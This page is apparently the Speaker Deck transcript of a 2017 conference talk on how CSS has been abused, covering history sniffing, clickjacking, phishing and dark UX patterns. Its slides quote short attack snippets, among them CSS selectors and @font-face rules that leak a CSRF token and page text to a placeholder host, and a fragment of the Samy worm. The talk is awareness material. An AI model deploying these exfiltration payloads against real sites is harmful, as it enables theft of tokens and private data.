Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
CSS For Good, Not Evil
Search
Stephen Hay
June 16, 2017
Design
2.1k
2
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
More Decks by Stephen Hay
See All by Stephen Hay
The Virtues of Low-fi
stephenhay
1
250
The Tail and Its Dog
stephenhay
1
340
From Deception to Clarity
stephenhay
4
720
Sculpting Text
stephenhay
4
1k
Power Tools for Browser-Based Design (Artifact 2014)
stephenhay
6
560
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
stephenhay
2
600
Flexbox: One Giant Leap for Web Layout
stephenhay
6
440
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
stephenhay
9
980
Flexbox: One Giant Leap for Web Layout
stephenhay
5
210
Other Decks in Design
See All in Design
LP制作のための熱量ハーネス -人の熱量を、AIとの制作につなぐ-
niccy
0
590
デザイナーがいない部署にハーネスを設計する
kenichiota0711
2
2.5k
【CEDEC2026】アートとゲームデザインをつなぐVFX設計『GRANBLUE FANTASY: Relink - Endless Ragnarok』における表現と可読性の両立
cygames
PRO
1
1.3k
decksh object reference
ajstarks
2
1.8k
再設計される業務 - AIにより再設計される "デザインワークフロー" / AI Ops Lab #2 Redesigned orkflows
kgsi
0
910
少人数チームで_使われるプロダクトにたどり着くための_デザインハーネス.pdf
nishame
1
1.5k
Where Imagination Ends AI Begins
r5ni4
0
380
もう迷わない!“なんとなく”を卒業するフォントの選び方【村田俊英】
toshihidemurata
0
950
Accelerating performance improvement based on a software review evaluation matrix
kitanosirokuma
0
300
Look Dev Meetup #50
baku89
1
500
分散するデザイン組織をつなぐ デザインミートアップの取り組み/nikkei-tech-talk49
nikkei_engineer_recruiting
1
200
設計の進め方と 品質特性品質特性
harakeishi
0
1.3k
Featured
See All Featured
Lightning talk: Run Django tests with GitHub Actions
sabderemane
0
250
The Mindset for Success: Future Career Progression
greggifford
PRO
0
490
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
49
10k
Bash Introduction
62gerente
615
220k
SEO Brein meetup: CTRL+C is not how to scale international SEO
lindahogenes
1
2.9k
Why Your Marketing Sucks and What You Can Do About It - Sophie Logan
marketingsoph
0
410
Beyond borders and beyond the search box: How to win the global "messy middle" with AI-driven SEO
davidcarrasco
3
240
RailsConf 2023
tenderlove
30
1.5k
Building AI with AI
inesmontani
PRO
1
1.2k
The innovator’s Mindset - Leading Through an Era of Exponential Change - McGill University 2025
jdejongh
PRO
1
330
The World Runs on Bad Software
bkeepers
PRO
72
12k
Why You Should Never Use an ORM
jnunemaker
PRO
61
10k
Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
None
None
catawiki.com/jobs
MySpace
None
None
None
Samy
In a relationship.
In a relationship. hot
None
but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
None
There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
None
Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
None
None
One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
None
Image: https://www.brignull.com/
None
None
“Roach Motel”
Unsubscribe…
None
None
None
Misdirection
None
None
None
None
Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
None
People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
None
None
When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens